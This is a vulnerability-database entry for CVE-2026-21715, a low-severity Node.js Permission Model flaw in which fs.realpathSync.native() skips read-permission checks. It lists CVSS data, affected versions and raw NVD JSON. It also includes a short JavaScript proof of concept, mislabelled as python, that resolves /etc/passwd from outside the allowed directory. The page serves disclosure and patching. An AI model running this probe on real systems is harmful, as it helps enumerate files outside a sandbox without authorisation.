Security Vulnerability Report
中文
CVE-2026-21715 CVSS 3.3 LOW

CVE-2026-21715

Published: 2026-03-30 20:16:20
Last Modified: 2026-04-01 16:23:49

Description

A flaw in Node.js Permission Model filesystem enforcement leaves `fs.realpathSync.native()` without the required read permission checks, while all comparable filesystem functions correctly enforce them. As a result, code running under `--permission` with restricted `--allow-fs-read` can still use `fs.realpathSync.native()` to check file existence, resolve symlink targets, and enumerate filesystem paths outside of permitted directories. This vulnerability affects **20.x, 22.x, 24.x, and 25.x** processes using the Permission Model where `--allow-fs-read` is intentionally restricted.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Node.js 20.x
Node.js 22.x
Node.js 24.x
Node.js 25.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-21715 PoC // Run with: node --experimental-permission --allow-fs-read=/tmp/ poc.js const fs = require('fs'); try { // Attempt to resolve a path outside the allowed directory (/tmp) // This should fail under correct permission enforcement but succeeds here. const target = '/etc/passwd'; const resolvedPath = fs.realpathSync.native(target); console.log(`[+] Vulnerability Confirmed! Resolved path: ${resolvedPath}`); } catch (e) { console.log(`[-] Exploit failed: ${e.message}`); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21715", "sourceIdentifier": "[email protected]", "published": "2026-03-30T20:16:19.703", "lastModified": "2026-04-01T16:23:48.967", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw in Node.js Permission Model filesystem enforcement leaves `fs.realpathSync.native()` without the required read permission checks, while all comparable filesystem functions correctly enforce them.\r\n\r\nAs a result, code running under `--permission` with restricted `--allow-fs-read` can still use `fs.realpathSync.native()` to check file existence, resolve symlink targets, and enumerate filesystem paths outside of permitted directories.\r\n\r\nThis vulnerability affects **20.x, 22.x, 24.x, and 25.x** processes using the Permission Model where `--allow-fs-read` is intentionally restricted."}, {"lang": "es", "value": "Una falla en la aplicación del modelo de permisos del sistema de archivos de Node.js deja a 'fs.realpathSync.native()' sin las comprobaciones de permisos de lectura requeridas, mientras que todas las funciones comparables del sistema de archivos las aplican correctamente.\n\nComo resultado, el código que se ejecuta bajo '--permission' con '--allow-fs-read' restringido aún puede usar 'fs.realpathSync.native()' para verificar la existencia de archivos, resolver destinos de enlaces simbólicos y enumerar rutas del sistema de archivos fuera de los directorios permitidos.\n\nEsta vulnerabilidad afecta a los procesos 20.x, 22.x, 24.x y 25.x que utilizan el Modelo de Permisos donde '--allow-fs-read' está restringido intencionalmente."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://nodejs.org/en/blog/vulnerability/march-2026-security-releases", "source": "[email protected]"}]}}